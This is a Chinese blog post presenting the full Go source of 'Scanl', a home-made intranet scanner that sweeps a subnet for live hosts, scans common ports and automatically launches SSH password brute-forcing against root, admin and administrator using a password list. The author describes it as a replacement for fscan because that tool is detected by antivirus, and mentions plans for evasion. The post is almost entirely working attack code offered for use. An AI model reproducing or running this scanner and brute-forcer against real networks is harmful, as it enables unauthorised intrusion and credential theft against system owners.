当前位置: 首页 > news >正文

【安全开发】内网扫描器

文章目录

  • 前言
    • `现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。`
  • 一、开发过程
    • 1.项目结构
    • 2.main.go
    • 3.core模块
      • 3.1 scanner.go
      • 3.2 service.go
    • 4.bruteforc
      • 4.1 bruteforce.go
  • 二、使用步骤


前言

为什么要写这个?

  1. fscna被杀的概率太高(哪天二开一下免杀)。
  2. go还在学习的阶段正是写项目的时候,边写边学习go项目。
  3. 自己写的项目改起来更加方便。
  4. 实现功能暂时定为网段扫描和暴力破解和输出文档。

现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。

一、开发过程

项目已经打包上传至github:https://github.com/19xinan/Scanl

1.项目结构

项目结构非常简单,现在开发的基本功能包括主机存活探测、端口扫描、暴力破解功能其他功能后序开发。

scanl/
|-- main.go //程序入口,主函数包括命令格式和网段格式限制
|-- core/
|   |-- scanner.go// 扫描器,包括线程控制
|   |-- services.go//服务识别
|-- bruteforce/
|   |-- bruteforce.go//暴力破解模版
|-- pass.txt//暴力破解使用的密码文件

2.main.go

1.实现网段限制
2.实现网段存活探测
3.实现命令行参数限制
4.实现输出扫描结果文档

package mainimport ("flag""fmt""net""os""sync""time""scanl/bruteforce""scanl/core"
)func main() {fmt.Println(`██████  ▄████▄   ▄▄▄       ███▄    █  ██▓    
▒██    ▒ ▒██▀ ▀█  ▒████▄     ██ ▀█   █ ▓██▒    
░ ▓██▄   ▒▓█    ▄ ▒██  ▀█▄  ▓██  ▀█ ██▒▒██░    ▒   ██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ▓██▒  ▐▌██▒▒██░    
▒██████▒▒▒ ▓███▀ ░ ▓█   ▓██▒▒██░   ▓██░░██████▒
▒ ▒▓▒ ▒ ░░ ░▒ ▒  ░ ▒▒   ▓▒█░░ ▒░   ▒ ▒ ░ ▒░▓  ░
░ ░▒  ░ ░  ░  ▒     ▒   ▒▒ ░░ ░░   ░ ▒░░ ░ ▒  ░
░  ░  ░  ░          ░   ▒      ░   ░ ░   ░ ░   ░  ░ ░            ░  ░         ░     ░  ░░`)// 解析命令行参数:-h网段、-all全端口、-t线程数、-pwd指定密码文件、-output指定输出文件名(不指定默认输出)subnet := flag.String("h", "", "Target subnet for scanning (e.g., 192.168.10.0/24)")allPorts := flag.Bool("all", false, "Scan all ports (0-65535)")threads := flag.Int("t", 100, "Number of concurrent threads")passwordFile := flag.String("pwd", "pass.txt", "Password file for bruteforce")outputFile := flag.String("output", "scan_results.txt", "Output file for scan results")flag.Parse()//检查网段if *subnet == "" {fmt.Println("Usage: ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]")os.Exit(1)}// 打开输出文件outputFileHandle, err := os.OpenFile(*outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)if err != nil {fmt.Printf("Error opening output file: %v\n", err)os.Exit(1)}defer outputFileHandle.Close()// 解析网段ips, err := expandCIDR(*subnet)if err != nil {fmt.Fprintf(outputFileHandle, "Error parsing subnet: %v\n", err)os.Exit(1)}var wg sync.WaitGroupvar mutex sync.Mutexvar aliveHosts []string// 检测存活主机并输出到终端和文件for _, ip := range ips {wg.Add(1)go func(ip string) {defer wg.Done()if isHostAlive(ip) {mutex.Lock()aliveHosts = append(aliveHosts, ip)mutex.Unlock()fmt.Printf("Host %s is alive\n", ip)fmt.Fprintf(outputFileHandle, "Host %s is alive\n", ip)} else {fmt.Printf("Host %s is not alive\n", ip)fmt.Fprintf(outputFileHandle, "Host %s is not alive\n", ip)}}(ip)}wg.Wait()// 输出存活主机到文件fmt.Fprintln(outputFileHandle, "Alive hosts in subnet:")for _, ip := range aliveHosts {fmt.Fprintln(outputFileHandle, ip)}var ports []intif *allPorts {ports = make([]int, 65536)for i := 0; i <= 65535; i++ {ports[i] = i}} else {ports = []int{21, 22, 23, 25, 53, 80, 110, 119, 123, 143, 161, 194, 443, 445, 465, 587, 993, 995, 1433, 1521, 1723, 3306, 3389, 5900, 8080, 8443, 8888, 9090, 7001, 9999, 6379, 9200, 9300, 27017} // 精简端口列表}// 扫描主机并输出结果到终端和文件for _, ip := range aliveHosts {fmt.Fprintf(outputFileHandle, "Scanning host: %s\n", ip)fmt.Printf("Scanning host: %s\n", ip)results := core.ScanPorts(ip, ports, *threads)fmt.Fprintf(outputFileHandle, "Open ports on host %s:\n", ip)fmt.Printf("Open ports on host %s:\n", ip)for port, service := range results {if service != "Closed" {fmt.Fprintf(outputFileHandle, "Port %d: %s\n", port, service)fmt.Printf("Port %d: %s\n", port, service)}}// 默认启用暴力破解模块,针对开启了SSH或RDP的端口if service, found := results[22]; found && service == "SSH" {fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on SSH...")fmt.Println("Starting bruteforce attack on SSH...")bruteforce.Bruteforce(ip, 22, *passwordFile)}//RDP实现有问题暂存//if service, found := results[3389]; found && service == "RDP" {//	fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on RDP...")//	fmt.Println("Starting bruteforce attack on RDP...")//	bruteforce.Bruteforce(ip, 3389, *passwordFile)//}fmt.Fprintln(outputFileHandle, "---------------------------------------------")fmt.Println("---------------------------------------------")}fmt.Printf("Scan results saved to %s\n", *outputFile)
}// expandCIDR 解析网段,生成所有 IP 地址
func expandCIDR(cidr string) ([]string, error) {ip, ipNet, err := net.ParseCIDR(cidr)if err != nil {return nil, err}var ips []stringfor ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) {ips = append(ips, ip.String())}// 排除网络地址和广播地址lenIPs := len(ips)switch {case lenIPs < 2:breakcase lenIPs > 2:ips = ips[1 : len(ips)-1]}return ips, nil
}// IP地址递增
func inc(ip net.IP) {for j := len(ip) - 1; j >= 0; j-- {ip[j]++if ip[j] > 0 {break}}
}// isHostAlive 检测主机是否存活
func isHostAlive(ip string) bool {timeout := 2 * time.Secondconn, err := net.DialTimeout("ip4:icmp", ip, timeout)if err != nil {return false}defer conn.Close()return true
}

3.core模块

3.1 scanner.go

package coreimport ("fmt""net""sync""time"
)// ScanPorts 扫描指定主机的指定端口,使用指定数量的并发线程
func ScanPorts(host string, ports []int, threads int) map[int]string {results := make(map[int]string)var mu sync.Mutexvar wg sync.WaitGroupportChan := make(chan int, len(ports))// 启动指定数量的goroutinesfor i := 0; i < threads; i++ {wg.Add(1)go func() {defer wg.Done()for port := range portChan {service := scanPort(host, port)mu.Lock()results[port] = servicemu.Unlock()}}()}// 将所有端口放入通道for _, port := range ports {portChan <- port}close(portChan)wg.Wait()return results
}// scanPort 扫描单个端口
func scanPort(host string, port int) string {address := fmt.Sprintf("%s:%d", host, port)conn, err := net.DialTimeout("tcp", address, 1*time.Second)if err != nil {return "Closed"}defer func(conn net.Conn) {err := conn.Close()if err != nil {}}(conn)return identifyService(port)
}

3.2 service.go

package core// identifyService 根据端口号识别服务
func identifyService(port int) string {services := map[int]string{21:    "FTP",22:    "SSH",23:    "Telnet",25:    "SMTP",53:    "DNS",80:    "HTTP",110:   "POP3",119:   "NNTP",123:   "NTP",143:   "IMAP",161:   "SNMP",194:   "IRC",443:   "HTTPS",445:   "SMB",465:   "SMTPS",587:   "Submission",993:   "IMAPS",995:   "POP3S",1433:  "MSSQL",1521:  "Oracle DB",1723:  "PPTP",3306:  "MySQL",3389:  "RDP",5900:  "VNC",8080:  "HTTP-Proxy",8443:  "HTTPS-Alt",8888:  "HTTP-Alt",9090:  "Weblogic",7001:  "Weblogic-Alt",9999:  "HTTP-Alt2",6379:  "Redis",9200:  "Elasticsearch",9300:  "Elasticsearch-Transport",27017: "MongoDB",}if service, found := services[port]; found {return service}return "Unknown"
}

4.bruteforc

这里少了rdp的爆破

4.1 bruteforce.go

package bruteforceimport ("bufio""fmt""os""sync""time""golang.org/x/crypto/ssh"
)// 默认账号列表
var defaultAccounts = []string{"root", "admin", "administrator"}// Bruteforce 执行暴力破解攻击
func Bruteforce(host string, port int, passwordFile string) {passwords, err := readPasswords(passwordFile)if err != nil {fmt.Printf("Error reading password file: %v\n", err)return}var wg sync.WaitGroupwg.Add(len(defaultAccounts) * len(passwords))// 并发尝试不同的账号和密码组合for _, account := range defaultAccounts {for _, password := range passwords {go func(host string, port int, account string, password string) {defer wg.Done()fmt.Printf("Trying account: %s, password: %s\n", account, password)if sshLogin(host, port, account, password) {fmt.Printf("SSH login successful: %s:%s@%s\n", account, password, host)}}(host, port, account, password)}}wg.Wait()
}// readPasswords 读取密码文件
func readPasswords(filePath string) ([]string, error) {file, err := os.Open(filePath)if err != nil {return nil, err}defer func(file *os.File) {err := file.Close()if err != nil {}}(file)var passwords []stringscanner := bufio.NewScanner(file)for scanner.Scan() {passwords = append(passwords, scanner.Text())}if err := scanner.Err(); err != nil {return nil, err}return passwords, nil
}// sshLogin 尝试使用SSH登录
func sshLogin(host string, port int, username, password string) bool {config := &ssh.ClientConfig{User: username,Auth: []ssh.AuthMethod{ssh.Password(password),},HostKeyCallback: ssh.InsecureIgnoreHostKey(),Timeout:         5 * time.Second,}conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", host, port), config)if err != nil {return false}defer func(conn *ssh.Client) {err := conn.Close()if err != nil {}}(conn)return true
}

二、使用步骤

ScanL.exe -h 192.168.10.1/24
其他参数
ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]

请添加图片描述

相关文章:

【安全开发】内网扫描器

文章目录 前言现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。 一、开发过程1.项目结构2.main.go3.core模块3.1 scanner.go3.2 service.go 4.bruteforc4.1 bruteforce.go 二、使用步骤 前言 为什么要写这个&#xff1f; fscna被杀的概率太高&#xff08;哪天二…...

ESP32-C3模组上跑通MQTT(5)

接前一篇文章:ESP32-C3模组上跑通MQTT(4) 本文内容参考: 《ESP32-C3 物联网工程开发实战》 一分钟了解MQTT协议 ESP32 MQTT API指南-CSDN博客 ESP-IDF MQTT 示例入门_mqtt outbox-CSDN博客 ESP32用自签CA进行MQTT的TLS双向认证通信_esp32 mqtt ssl-CSDN博客 特此致谢!…...

Arduino - LED 矩阵

Arduino - LED 矩阵 Arduino - LED Matrix LED matrix display, also known as LED display, or dot matrix display, are wide-used. In this tutorial, we are going to learn: LED矩阵显示器&#xff0c;也称为LED显示器&#xff0c;或点阵显示器&#xff0c;应用广泛。在…...

设计模式 - Observer Pattern 观察者模式

文章目录 定义观察者模式的实现构成构成UML图 观察者模式的代码实现场景代码实现 总结优点缺点应用场景 其他设计模式文章&#xff1a; 定义 观察者模式是行为型模式的一种&#xff0c;它定义对象间的一种一对多的依赖关系&#xff0c;使得每当一个对象改变状态&#xff0c;它…...

【面试系列】C++ 高频面试题

欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;欢迎订阅相关专栏&#xff1a; ⭐️ 全网最全IT互联网公司面试宝典&#xff1a;收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来&#xff1a;详细讲解AIGC的概念、核心技术、…...

程序猿大战Python——实现简单的图书馆系统操作

步骤1&#xff1a;安装和导入库 首先&#xff0c;确保已经安装了 pymysql 库。如果没有安装&#xff0c;请执行以下命令&#xff1a; pip install pymysql 然后&#xff0c;导入必要的库&#xff1a; import pymysql 步骤2&#xff1a;创建数据库和表的函数 编写一个函数来…...

液体粒子计数器的原理及常见型号选择 lighthouse代理商北京中邦兴业

​液体颗粒计数用于测量液体样品中颗粒的大小和分布。通过用激光二极管照射液体样品并检测散射光来测量颗粒分布和尺寸。散射光的性质与粒子大小的大小有关。液体颗粒计数器可用于批量取样或在线&#xff08;连续监测&#xff09;应用&#xff0c;如水处理厂&#xff0c;或用于…...

Java知识点整理 16 — Spring Bean

在之前的文章 Java知识点整理 8 — Spring 简介 中介绍了 Spring 的两大核心概念 IoC 和 AOP&#xff0c;但对 Spring Bean 的介绍不全面&#xff0c;本文将补充 Spring 中 Bean 的概念。 一. 什么是 Spring Bean 在 Spring 官方文档中&#xff0c;对 bean 的定义为&#xf…...

Nvidia Jetson/RK3588+AI双目立体相机,适合各种割草机器人、扫地机器人、AGV等应用

双目立体视觉是基于视差原理&#xff0c;依据成像设备从不同位置获取的被测物体的图像&#xff0c;匹配对应点的位置偏移&#xff0c;得到视差数据&#xff0c;进而计算物体的空间三维信息。为您带来高图像质量的双目立体相机&#xff0c;具有高分辨率、低功耗、远距离等优点&a…...

springboot使用feign调用不依赖cloud

在使用spring boot调用第三方api中&#xff0c;常用的是okhttp、apache http client等&#xff0c;但是直接使用下来还是有点繁琐&#xff0c;需要手动转换实体。 在springcloud中有个openfeign调用&#xff0c;第一次体验到调用接口还能这么丝滑。注解写道接口上&#xff0c;…...

springboot中使用springboot cache

前言&#xff1a;SpringBoot中使用Cache缓存可以提高对缓存的开发效率 此图片是SpringBootCache常用注解 Springboot Cache中常用注解 第一步&#xff1a;引入依赖 <!--缓存--><dependency><groupId>org.springframework.boot</groupId><artifactId…...

Promise,async/await的运用

一&#xff0c;了解Promise Promise是异步编程的一种解决方案&#xff0c;它是一个对象&#xff0c;可以获取异步操作的消息&#xff0c;它的出现避免了地狱回调。 &#xff08;1&#xff09;Promise的实例有三个状态&#xff1a; Pending&#xff08;进行中&#xff09; Re…...

图论·多源最短路径Floyddijsktra

例题地址 多源最短路径 多个源点多个终点可以使用Floyd算法直接求各源点到终点的最短距离&#xff0c;也可以直接多次使用dijsktra算法求单源点到终点的最短距离 Floyd算法 使用条件 多源最短路径权值正负皆可 核心思想&#xff1a;动态规划 子问题&#xff1a; 设(A,B)…...

微服务 | Springboot整合GateWay+Nacos实现动态路由

1、简介 路由转发 执行过滤器链。 ​ 网关&#xff0c;旨在为微服务架构提供一种简单有效的统一的API路由管理方式。同时&#xff0c;基于Filter链的方式提供了网关的基本功能&#xff0c;比如&#xff1a;鉴权、流量控制、熔断、路径重写、黑白名单、日志监控等。 基本功能…...

做google SEO 有哪些好用的工具?这12款谷歌SEO工具值得收藏!

1、Google Trends 谷歌旗下一款基于搜索数据推出的一款免费分析工具 外贸人有句老话&#xff0c;七分靠选品&#xff0c;三分靠运营。在你开始做独立站之前&#xff0c;在你不清楚你的行业在Google上面能否有足够的流量时&#xff0c;那么Google Trends则是你最好的工具。 你只…...

【变频调速在锅炉引风机控制中的应用】

变频调速在锅炉引风机控制中的应用 变频器的选型 变频器是利用电力半导体器件的通断作用将工频电源变换为另一种频率的电能控制装置,能宏观对交流异步电机软启动,变频调速,提高运转精度,改变功率因数,过流/过压/过载保护等功能,国内技术较领先的品牌有汇川、欧瑞(原烟台…...

网络配置(IP、NETMASK、GATEWAY、DNS、DHCP) <持续更新中>

参考&#xff1a; 初学Linux之网络配置(IP、NETMASK、GATEWAY、DNS、DHCP)-CSDN博客【学习笔记】网关 & 路由_网关和路由-CSDN博客【学习笔记】计算机网络 IP地址与MAC地址_根据mac分配ip-CSDN博客【学习笔记】TCP 和 UDP 协议_tcp 发送 syn 应答没有syn ack-CSDN博客 一…...

【ArcGIS 脚本工具】拯救密恐,隐藏唯一值渲染图层的标记符号

最近拿到了【Hello 图狗】制作的三调/变更样式符号库&#xff0c;确实比之前网上下载的版本好用很多。 ArcGIS Pro三调23变更符号库V1.02&#xff08;汇总&#xff09;_中大比例尺.stylx和样式属性对调 不过使用过程中触发了一个旧病&#xff0c;就是匹配样式之后&#xff0c;…...

tensorflow学习1.3-创建会话,启动会话

tensorflow学习1.3-创建会话&#xff0c;启动会话 会话的由来与作用由来作用 会话的定义与结构定义 用法基本用法上下文管理器执行部分计算图获取多个结果 总结 练习代码报错原因&#xff1a;TensorFlow 2.x中的Eager Execution使用兼容模式来启用SessionEager Execution和计算…...

QT基本对话框(基本对话框、工具盒类、进度条、调色板与电子钟、可扩展对话框、程序启动画面)

此篇文章通过实例介绍基本对话框的用法。首先介绍标准文件对话框&#xff08;QFileDialog&#xff09;、标准颜色对话框&#xff08;QColorDialog&#xff09;、标准字体对话框&#xff08;QFontDialog&#xff09;、标准输入对话框&#xff08;QInputDialog&#xff09;以及标…...

FreeRTOS在STM32F407上的内存与栈空间优化全攻略:从CubeMX配置到避免堆栈溢出

FreeRTOS在STM32F407上的内存与栈空间优化全攻略&#xff1a;从CubeMX配置到避免堆栈溢出 在嵌入式开发中&#xff0c;资源管理往往是决定项目成败的关键因素。对于使用STM32F407这类资源受限的MCU进行多任务开发的工程师来说&#xff0c;如何合理规划和管理有限的RAM资源&…...

3大突破:重新定义Revit插件开发流程

3大突破&#xff1a;重新定义Revit插件开发流程 【免费下载链接】RevitAddInManager Revit AddinManager update .NET assemblies without restart Revit for developer. 项目地址: https://gitcode.com/gh_mirrors/re/RevitAddInManager 引言&#xff1a;Revit插件开发…...

Qwen3-TTS-VoiceDesign实战案例:用‘撒娇稚嫩萝莉声’描述生成高拟真TTS音频

Qwen3-TTS-VoiceDesign实战案例&#xff1a;用‘撒娇稚嫩萝莉声’描述生成高拟真TTS音频 1. 项目概述与核心价值 Qwen3-TTS-VoiceDesign是一个让人惊艳的语音合成模型&#xff0c;它最大的特点就是能用简单的文字描述&#xff0c;生成你想要的任何声音风格。想象一下&#xf…...

深入剖析大数据领域数据分片的优缺点

深入剖析大数据领域数据分片的优缺点 关键词&#xff1a;数据分片、大数据架构、分片策略、水平扩展、分布式系统 摘要&#xff1a;在大数据时代&#xff0c;单台服务器已无法承载海量数据的存储与计算需求&#xff0c;数据分片&#xff08;Sharding&#xff09;作为分布式系统…...

深度 | 电子材料研发(光刻胶/OLED等)迈入智能时代,当电子材料研发进入“GPT时代”,企业该如何重构创新引擎?

【电子材料系列专题1】在半导体、显示、先进封装与电子化学品领域&#xff0c;材料始终决定性能上限。无论是光刻胶、OLED发光材料、封装胶&#xff0c;还是高纯电子特气&#xff0c;随着制程逼近纳米乃至埃米级节点&#xff0c;热力学稳定性、光化学反应精度、流变特征和痕量杂…...

Python内存泄漏分析实战指南(生产环境零停机排查全流程)

第一章&#xff1a;Python内存泄漏的本质与危害Python内存泄漏并非源于C语言中常见的“未释放malloc内存”&#xff0c;而是指对象被意外长期持有&#xff0c;导致垃圾回收器&#xff08;GC&#xff09;无法将其回收&#xff0c;从而持续占用堆内存。其本质是**引用关系的非预期…...

HDMI设备开发必看:EDID/E-EDID数据结构全解析(附实战代码)

HDMI设备开发实战&#xff1a;EDID/E-EDID二进制解析与工程实现 当你的HDMI设备无法正确识别显示器分辨率时&#xff0c;屏幕闪烁或黑屏的瞬间是否让你抓狂&#xff1f;作为连接数字世界的桥梁&#xff0c;EDID&#xff08;Extended Display Identification Data&#xff09;就…...

AI原生应用的微服务架构设计模式

AI原生应用的微服务架构设计模式&#xff1a;用智能餐厅的故事讲透AI与微服务的碰撞关键词&#xff1a;AI原生应用、微服务架构、设计模式、模型生命周期、实时数据流摘要&#xff1a;当AI大模型、边缘计算和实时决策需求爆发时&#xff0c;传统单体架构已无法满足AI应用的动态…...

当心“Pin-to-Pin兼容“陷阱:ICM-42688国产替代芯片深度拆解与避坑指南

两句话总结&#xff1a;近期TDK ICM-42688-P价格暴涨至百元且一芯难求&#xff0c;立创商城上出现了华轩阳、Tokmas等"国产替代"。本文通过详细对比三家datasheet数据手册&#xff0c;揭示所谓"兼容"背后的软件陷阱与性能差异。结论可能出乎你意料&#xf…...

告别Transformer?手把手复现SegNeXt语义分割模型(附PyTorch代码)

从零实现SegNeXt&#xff1a;用纯卷积架构挑战Transformer的语义分割霸主地位 在计算机视觉领域&#xff0c;语义分割技术正经历着一场静默的革命。当大多数研究者将目光聚焦于Transformer架构时&#xff0c;SegNeXt却用纯粹的卷积神经网络&#xff08;CNN&#xff09;设计刷新…...